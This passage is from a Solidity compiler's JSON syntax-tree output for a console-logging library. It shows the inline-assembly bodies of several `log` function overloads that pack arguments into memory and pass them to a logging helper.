declaration":44470,"isOffset":false,"isSlot":false,"src":"327918:2:22","valueSize":1},{"declaration":44472,"isOffset":false,"isSlot":false,"src":"327947:2:22","valueSize":1},{"declaration":44474,"isOffset":false,"isSlot":false,"src":"327976:2:22","valueSize":1}],"id":44498,"nodeType":"InlineAssembly","src":"327189:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44500,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"328048:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"328054:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44499,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"328032:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"328032:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44503,"nodeType":"ExpressionStatement","src":"328032:27:22"},{"AST":{"nativeSrc":"328078:214:22","nodeType":"YulBlock","src":"328078:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"328099:4:22","nodeType":"YulLiteral","src":"328099:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"328105:2:22","nodeType":"YulIdentifier","src":"328105:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328092:6:22","nodeType":"YulIdentifier","src":"328092:6:22"},"nativeSrc":"328092:16:22","nodeType":"YulFunctionCall","src":"328092:16:22"},"nativeSrc":"328092:16:22","nodeType":"YulExpressionStatement","src":"328092:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328128:4:22","nodeType":"YulLiteral","src":"328128:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"328134:2:22","nodeType":"YulIdentifier","src":"328134:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328121:6:22","nodeType":"YulIdentifier","src":"328121:6:22"},"nativeSrc":"328121:16:22","nodeType":"YulFunctionCall","src":"328121:16:22"},"nativeSrc":"328121:16:22","nodeType":"YulExpressionStatement","src":"328121:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328157:4:22","nodeType":"YulLiteral","src":"328157:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"328163:2:22","nodeType":"YulIdentifier","src":"328163:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328150:6:22","nodeType":"YulIdentifier","src":"328150:6:22"},"nativeSrc":"328150:16:22","nodeType":"YulFunctionCall","src":"328150:16:22"},"nativeSrc":"328150:16:22","nodeType":"YulExpressionStatement","src":"328150:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328186:4:22","nodeType":"YulLiteral","src":"328186:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"328192:2:22","nodeType":"YulIdentifier","src":"328192:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328179:6:22","nodeType":"YulIdentifier","src":"328179:6:22"},"nativeSrc":"328179:16:22","nodeType":"YulFunctionCall","src":"328179:16:22"},"nativeSrc":"328179:16:22","nodeType":"YulExpressionStatement","src":"328179:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328215:4:22","nodeType":"YulLiteral","src":"328215:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"328221:2:22","nodeType":"YulIdentifier","src":"328221:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328208:6:22","nodeType":"YulIdentifier","src":"328208:6:22"},"nativeSrc":"328208:16:22","nodeType":"YulFunctionCall","src":"328208:16:22"},"nativeSrc":"328208:16:22","nodeType":"YulExpressionStatement","src":"328208:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328244:4:22","nodeType":"YulLiteral","src":"328244:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"328250:2:22","nodeType":"YulIdentifier","src":"328250:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328237:6:22","nodeType":"YulIdentifier","src":"328237:6:22"},"nativeSrc":"328237:16:22","nodeType":"YulFunctionCall","src":"328237:16:22"},"nativeSrc":"328237:16:22","nodeType":"YulExpressionStatement","src":"328237:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"328273:4:22","nodeType":"YulLiteral","src":"328273:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"328279:2:22","nodeType":"YulIdentifier","src":"328279:2:22"}],"functionName":{"name":"mstore","nativeSrc":"328266:6:22","nodeType":"YulIdentifier","src":"328266:6:22"},"nativeSrc":"328266:16:22","nodeType":"YulFunctionCall","src":"328266:16:22"},"nativeSrc":"328266:16:22","nodeType":"YulExpressionStatement","src":"328266:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44478,"isOffset":false,"isSlot":false,"src":"328105:2:22","valueSize":1},{"declaration":44481,"isOffset":false,"isSlot":false,"src":"328134:2:22","valueSize":1},{"declaration":44484,"isOffset":false,"isSlot":false,"src":"328163:2:22","valueSize":1},{"declaration":44487,"isOffset":false,"isSlot":false,"src":"328192:2:22","valueSize":1},{"declaration":44490,"isOffset":false,"isSlot":false,"src":"328221:2:22","valueSize":1},{"declaration":44493,"isOffset":false,"isSlot":false,"src":"328250:2:22","valueSize":1},{"declaration":44496,"isOffset":false,"isSlot":false,"src":"328279:2:22","valueSize":1}],"id":44504,"nodeType":"InlineAssembly","src":"328069:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"326979:3:22","parameters":{"id":44475,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44468,"mutability":"mutable","name":"p0","nameLocation":"326991:2:22","nodeType":"VariableDeclaration","scope":44506,"src":"326983:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44467,"name":"bytes32","nodeType":"ElementaryTypeName","src":"326983:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44470,"mutability":"mutable","name":"p1","nameLocation":"327000:2:22","nodeType":"VariableDeclaration","scope":44506,"src":"326995:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44469,"name":"bool","nodeType":"ElementaryTypeName","src":"326995:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44472,"mutability":"mutable","name":"p2","nameLocation":"327012:2:22","nodeType":"VariableDeclaration","scope":44506,"src":"327004:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44471,"name":"address","nodeType":"ElementaryTypeName","src":"327004:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44474,"mutability":"mutable","name":"p3","nameLocation":"327021:2:22","nodeType":"VariableDeclaration","scope":44506,"src":"327016:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44473,"name":"bool","nodeType":"ElementaryTypeName","src":"327016:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"326982:42:22"},"returnParameters":{"id":44476,"nodeType":"ParameterList","parameters":[],"src":"327039:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44546,"nodeType":"FunctionDefinition","src":"328304:1334:22","nodes":[],"body":{"id":44545,"nodeType":"Block","src":"328376:1262:22","nodes":[],"statements":[{"assignments":[44518],"declarations":[{"constant":false,"id":44518,"mutability":"mutable","name":"m0","nameLocation":"328394:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328386:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44517,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328386:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44519,"nodeType":"VariableDeclarationStatement","src":"328386:10:22"},{"assignments":[44521],"declarations":[{"constant":false,"id":44521,"mutability":"mutable","name":"m1","nameLocation":"328414:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328406:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44520,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328406:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44522,"nodeType":"VariableDeclarationStatement","src":"328406:10:22"},{"assignments":[44524],"declarations":[{"constant":false,"id":44524,"mutability":"mutable","name":"m2","nameLocation":"328434:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328426:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44523,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328426:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44525,"nodeType":"VariableDeclarationStatement","src":"328426:10:22"},{"assignments":[44527],"declarations":[{"constant":false,"id":44527,"mutability":"mutable","name":"m3","nameLocation":"328454:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328446:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44526,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328446:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44528,"nodeType":"VariableDeclarationStatement","src":"328446:10:22"},{"assignments":[44530],"declarations":[{"constant":false,"id":44530,"mutability":"mutable","name":"m4","nameLocation":"328474:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328466:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44529,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328466:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44531,"nodeType":"VariableDeclarationStatement","src":"328466:10:22"},{"assignments":[44533],"declarations":[{"constant":false,"id":44533,"mutability":"mutable","name":"m5","nameLocation":"328494:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328486:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44532,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328486:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44534,"nodeType":"VariableDeclarationStatement","src":"328486:10:22"},{"assignments":[44536],"declarations":[{"constant":false,"id":44536,"mutability":"mutable","name":"m6","nameLocation":"328514:2:22","nodeType":"VariableDeclaration","scope":44545,"src":"328506:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44535,"name":"bytes32","nodeType":"ElementaryTypeName","src":"328506:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44537,"nodeType":"VariableDeclarationStatement","src":"328506:10:22"},{"AST":{"nativeSrc":"328535:828:22","nodeType":"YulBlock","src":"328535:828:22","statements":[{"body":{"nativeSrc":"328578:313:22","nodeType":"YulBlock","src":"328578:313:22","statements":[{"nativeSrc":"328596:15:22","nodeType":"YulVariableDeclaration","src":"328596:15:22","value":{"kind":"number","nativeSrc":"328610:1:22","nodeType":"YulLiteral","src":"328610:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"328600:6:22","nodeType":"YulTypedName","src":"328600:6:22","type":""}]},{"body":{"nativeSrc":"328681:40:22","nodeType":"YulBlock","src":"328681:40:22","statements":[{"body":{"nativeSrc":"328710:9:22","nodeType":"YulBlock","src":"328710:9:22","statements":[{"nativeSrc":"328712:5:22","nodeType":"YulBreak","src":"328712:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"328698:6:22","nodeType":"YulIdentifier","src":"328698:6:22"},{"name":"w","nativeSrc":"328706:1:22","nodeType":"YulIdentifier","src":"328706:1:22"}],"functionName":{"name":"byte","nativeSrc":"328693:4:22","nodeType":"YulIdentifier","src":"328693:4:22"},"nativeSrc":"328693:15:22","nodeType":"YulFunctionCall","src":"328693:15:22"}],"functionName":{"name":"iszero","nativeSrc":"328686:6:22","nodeType":"YulIdentifier","src":"328686:6:22"},"nativeSrc":"328686:23:22","nodeType":"YulFunctionCall","src":"328686:23:22"},"nativeSrc":"328683:36:22","nodeType":"YulIf","src":"328683:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"328638:6:22","nodeType":"YulIdentifier","src":"328638:6:22"},{"kind":"number","nativeSrc":"328646:4:22","nodeType":"YulLiteral","src":"328646:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"328635:2:22","nodeType":"YulIdentifier","src":"328635:2:22"},"nativeSrc":"328635:16:22","nodeType":"YulFunctionCall","src":"328635:16:22"},"nativeSrc":"328628:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"328652:28:22","nodeType":"YulBlock","src":"328652:28:22","statements":[{"nativeSrc":"328654:24:22","nodeType":"YulAssignment","src":"328654:24:22","value":{"arguments":[{"name":"length","nativeSrc":"328668:6:22","nodeType":"YulIdentifier","src":"328668:6:22"},{"kind":"number","nativeSrc":"328676:1:22","nodeType":"YulLiteral","src":"328676:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"328664:3:22","nodeType":"YulIdentifier","src":"328664:3:22"},"nativeSrc":"328664:14:22","nodeType":"YulFunctionCall","src":"328664:14:22"},"variableNames":[{"name":"length","nativeSrc":"328654:6:22","nodeType":"YulIdentifier","src":"328654:6:22"}]}]},"pre":{"nativeSrc":"328632:2:22","nodeType":"YulBlock","src":"328632:2:22","statements":[]},"src":"328628:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"328745:3:22","nodeType":"YulIdentifier","src":"328745:3:22"},{"name":"length","nativeSrc":"328750:6:22","nodeType":"YulIdentifier","src":"328750:6:22"}],"functionName":{"name":"mstore","nativeSrc":"328738:6:22","nodeType":"YulIdentifier","src":"328738:6:22"},"nativeSrc":"328738:19:22","nodeType":"YulFunctionCall","src":"328738:19:22"},"nativeSrc":"328738:19:22","nodeType":"YulExpressionStatement","src":"328738:19:22"},{"nativeSrc":"328774:37:22","nodeType":"YulVariableDeclaration","src":"328774:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"328791:3:22","nodeType":"YulLiteral","src":"328791:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"328800:1:22","nodeType":"YulLiteral","src":"328800:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"328803:6:22","nodeType":"YulIdentifier","src":"328803:6:22"}],"functionName":{"name":"shl","nativeSrc":"328796:3:22","nodeType":"YulIdentifier","src":"328796:3:22"},"nativeSrc":"328796:14:22","nodeType":"YulFunctionCall","src":"328796:14:22"}],"functionName":{"name":"sub","nativeSrc":"328787:3:22","nodeType":"YulIdentifier","src":"328787:3:22"},"nativeSrc":"328787:24:22","nodeType":"YulFunctionCall","src":"328787:24:22"},"variables":[{"name":"shift","nativeSrc":"328778:5:22","nodeType":"YulTypedName","src":"328778:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"328839:3:22","nodeType":"YulIdentifier","src":"328839:3:22"},{"kind":"number","nativeSrc":"328844:4:22","nodeType":"YulLiteral","src":"328844:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"328835:3:22","nodeType":"YulIdentifier","src":"328835:3:22"},"nativeSrc":"328835:14:22","nodeType":"YulFunctionCall","src":"328835:14:22"},{"arguments":[{"name":"shift","nativeSrc":"328855:5:22","nodeType":"YulIdentifier","src":"328855:5:22"},{"arguments":[{"name":"shift","nativeSrc":"328866:5:22","nodeType":"YulIdentifier","src":"328866:5:22"},{"name":"w","nativeSrc":"328873:1:22","nodeType":"YulIdentifier","src":"328873:1:22"}],"functionName":{"name":"shr","nativeSrc":"328862:3:22","nodeType":"YulIdentifier","src":"328862:3:22"},"nativeSrc":"328862:13:22","nodeType":"YulFunctionCall","src":"328862:13:22"}],"functionName":{"name":"shl","nativeSrc":"328851:3:22","nodeType":"YulIdentifier","src":"328851:3:22"},"nativeSrc":"328851:25:22","nodeType":"YulFunctionCall","src":"328851:25:22"}],"functionName":{"name":"mstore","nativeSrc":"328828:6:22","nodeType":"YulIdentifier","src":"328828:6:22"},"nativeSrc":"328828:49:22","nodeType":"YulFunctionCall","src":"328828:49:22"},"nativeSrc":"328828:49:22","nodeType":"YulExpressionStatement","src":"328828:49:22"}]},"name":"writeString","nativeSrc":"328549:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"328570:3:22","nodeType":"YulTypedName","src":"328570:3:22","type":""},{"name":"w","nativeSrc":"328575:1:22","nodeType":"YulTypedName","src":"328575:1:22","type":""}],"src":"328549:342:22"},{"nativeSrc":"328904:17:22","nodeType":"YulAssignment","src":"328904:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"328916:4:22","nodeType":"YulLiteral","src":"328916:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"328910:5:22","nodeType":"YulIdentifier","src":"328910:5:22"},"nativeSrc":"328910:11:22","nodeType":"YulFunctionCall","src":"328910:11:22"},"variableNames":[{"name":"m0","nativeSrc":"328904:2:22","nodeType":"YulIdentifier","src":"328904:2:22"}]},{"nativeSrc":"328934:17:22","nodeType":"YulAssignment","src":"328934:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"328946:4:22","nodeType":"YulLiteral","src":"328946:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"328940:5:22","nodeType":"YulIdentifier","src":"328940:5:22"},"nativeSrc":"328940:11:22","nodeType":"YulFunctionCall","src":"328940:11:22"},"variableNames":[{"name":"m1","nativeSrc":"328934:2:22","nodeType":"YulIdentifier","src":"328934:2:22"}]},{"nativeSrc":"328964:17:22","nodeType":"YulAssignment","src":"328964:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"328976:4:22","nodeType":"YulLiteral","src":"328976:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"328970:5:22","nodeType":"YulIdentifier","src":"328970:5:22"},"nativeSrc":"328970:11:22","nodeType":"YulFunctionCall","src":"328970:11:22"},"variableNames":[{"name":"m2","nativeSrc":"328964:2:22","nodeType":"YulIdentifier","src":"328964:2:22"}]},{"nativeSrc":"328994:17:22","nodeType":"YulAssignment","src":"328994:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"329006:4:22","nodeType":"YulLiteral","src":"329006:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"329000:5:22","nodeType":"YulIdentifier","src":"329000:5:22"},"nativeSrc":"329000:11:22","nodeType":"YulFunctionCall","src":"329000:11:22"},"variableNames":[{"name":"m3","nativeSrc":"328994:2:22","nodeType":"YulIdentifier","src":"328994:2:22"}]},{"nativeSrc":"329024:17:22","nodeType":"YulAssignment","src":"329024:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"329036:4:22","nodeType":"YulLiteral","src":"329036:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"329030:5:22","nodeType":"YulIdentifier","src":"329030:5:22"},"nativeSrc":"329030:11:22","nodeType":"YulFunctionCall","src":"329030:11:22"},"variableNames":[{"name":"m4","nativeSrc":"329024:2:22","nodeType":"YulIdentifier","src":"329024:2:22"}]},{"nativeSrc":"329054:17:22","nodeType":"YulAssignment","src":"329054:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"329066:4:22","nodeType":"YulLiteral","src":"329066:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"329060:5:22","nodeType":"YulIdentifier","src":"329060:5:22"},"nativeSrc":"329060:11:22","nodeType":"YulFunctionCall","src":"329060:11:22"},"variableNames":[{"name":"m5","nativeSrc":"329054:2:22","nodeType":"YulIdentifier","src":"329054:2:22"}]},{"nativeSrc":"329084:17:22","nodeType":"YulAssignment","src":"329084:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"329096:4:22","nodeType":"YulLiteral","src":"329096:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"329090:5:22","nodeType":"YulIdentifier","src":"329090:5:22"},"nativeSrc":"329090:11:22","nodeType":"YulFunctionCall","src":"329090:11:22"},"variableNames":[{"name":"m6","nativeSrc":"329084:2:22","nodeType":"YulIdentifier","src":"329084:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329184:4:22","nodeType":"YulLiteral","src":"329184:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"329190:10:22","nodeType":"YulLiteral","src":"329190:10:22","type":"","value":"0x5d08bb05"}],"functionName":{"name":"mstore","nativeSrc":"329177:6:22","nodeType":"YulIdentifier","src":"329177:6:22"},"nativeSrc":"329177:24:22","nodeType":"YulFunctionCall","src":"329177:24:22"},"nativeSrc":"329177:24:22","nodeType":"YulExpressionStatement","src":"329177:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329221:4:22","nodeType":"YulLiteral","src":"329221:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"329227:4:22","nodeType":"YulLiteral","src":"329227:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"329214:6:22","nodeType":"YulIdentifier","src":"329214:6:22"},"nativeSrc":"329214:18:22","nodeType":"YulFunctionCall","src":"329214:18:22"},"nativeSrc":"329214:18:22","nodeType":"YulExpressionStatement","src":"329214:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329252:4:22","nodeType":"YulLiteral","src":"329252:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"329258:2:22","nodeType":"YulIdentifier","src":"329258:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329245:6:22","nodeType":"YulIdentifier","src":"329245:6:22"},"nativeSrc":"329245:16:22","nodeType":"YulFunctionCall","src":"329245:16:22"},"nativeSrc":"329245:16:22","nodeType":"YulExpressionStatement","src":"329245:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329281:4:22","nodeType":"YulLiteral","src":"329281:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"329287:2:22","nodeType":"YulIdentifier","src":"329287:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329274:6:22","nodeType":"YulIdentifier","src":"329274:6:22"},"nativeSrc":"329274:16:22","nodeType":"YulFunctionCall","src":"329274:16:22"},"nativeSrc":"329274:16:22","nodeType":"YulExpressionStatement","src":"329274:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329310:4:22","nodeType":"YulLiteral","src":"329310:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"329316:2:22","nodeType":"YulIdentifier","src":"329316:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329303:6:22","nodeType":"YulIdentifier","src":"329303:6:22"},"nativeSrc":"329303:16:22","nodeType":"YulFunctionCall","src":"329303:16:22"},"nativeSrc":"329303:16:22","nodeType":"YulExpressionStatement","src":"329303:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329344:4:22","nodeType":"YulLiteral","src":"329344:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"329350:2:22","nodeType":"YulIdentifier","src":"329350:2:22"}],"functionName":{"name":"writeString","nativeSrc":"329332:11:22","nodeType":"YulIdentifier","src":"329332:11:22"},"nativeSrc":"329332:21:22","nodeType":"YulFunctionCall","src":"329332:21:22"},"nativeSrc":"329332:21:22","nodeType":"YulExpressionStatement","src":"329332:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44518,"isOffset":false,"isSlot":false,"src":"328904:2:22","valueSize":1},{"declaration":44521,"isOffset":false,"isSlot":false,"src":"328934:2:22","valueSize":1},{"declaration":44524,"isOffset":false,"isSlot":false,"src":"328964:2:22","valueSize":1},{"declaration":44527,"isOffset":false,"isSlot":false,"src":"328994:2:22","valueSize":1},{"declaration":44530,"isOffset":false,"isSlot":false,"src":"329024:2:22","valueSize":1},{"declaration":44533,"isOffset":false,"isSlot":false,"src":"329054:2:22","valueSize":1},{"declaration":44536,"isOffset":false,"isSlot":false,"src":"329084:2:22","valueSize":1},{"declaration":44508,"isOffset":false,"isSlot":false,"src":"329350:2:22","valueSize":1},{"declaration":44510,"isOffset":false,"isSlot":false,"src":"329258:2:22","valueSize":1},{"declaration":44512,"isOffset":false,"isSlot":false,"src":"329287:2:22","valueSize":1},{"declaration":44514,"isOffset":false,"isSlot":false,"src":"329316:2:22","valueSize":1}],"id":44538,"nodeType":"InlineAssembly","src":"328526:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"329388:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44541,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"329394:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44539,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"329372:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44542,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"329372:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44543,"nodeType":"ExpressionStatement","src":"329372:27:22"},{"AST":{"nativeSrc":"329418:214:22","nodeType":"YulBlock","src":"329418:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"329439:4:22","nodeType":"YulLiteral","src":"329439:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"329445:2:22","nodeType":"YulIdentifier","src":"329445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329432:6:22","nodeType":"YulIdentifier","src":"329432:6:22"},"nativeSrc":"329432:16:22","nodeType":"YulFunctionCall","src":"329432:16:22"},"nativeSrc":"329432:16:22","nodeType":"YulExpressionStatement","src":"329432:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329468:4:22","nodeType":"YulLiteral","src":"329468:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"329474:2:22","nodeType":"YulIdentifier","src":"329474:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329461:6:22","nodeType":"YulIdentifier","src":"329461:6:22"},"nativeSrc":"329461:16:22","nodeType":"YulFunctionCall","src":"329461:16:22"},"nativeSrc":"329461:16:22","nodeType":"YulExpressionStatement","src":"329461:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329497:4:22","nodeType":"YulLiteral","src":"329497:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"329503:2:22","nodeType":"YulIdentifier","src":"329503:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329490:6:22","nodeType":"YulIdentifier","src":"329490:6:22"},"nativeSrc":"329490:16:22","nodeType":"YulFunctionCall","src":"329490:16:22"},"nativeSrc":"329490:16:22","nodeType":"YulExpressionStatement","src":"329490:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329526:4:22","nodeType":"YulLiteral","src":"329526:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"329532:2:22","nodeType":"YulIdentifier","src":"329532:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329519:6:22","nodeType":"YulIdentifier","src":"329519:6:22"},"nativeSrc":"329519:16:22","nodeType":"YulFunctionCall","src":"329519:16:22"},"nativeSrc":"329519:16:22","nodeType":"YulExpressionStatement","src":"329519:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"329555:4:22","nodeType":"YulLiteral","src":"329555:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"329561:2:22","nodeType":"YulIdentifier","src":"329561:2:22"}],"functionName":{"name":"mstore","nativeSrc":"329548:6:22","nodeType":"YulIdentifier","src":"329548:6:22"},"nativeSrc":"329548:16:22","nodeType":"YulFunctionCall","src":"329548:16:22"},"nativeSrc":"329548:16:22","nodeType":"YulExpressionStatement","src":"329548:16:22"},{"expression":{"arguments"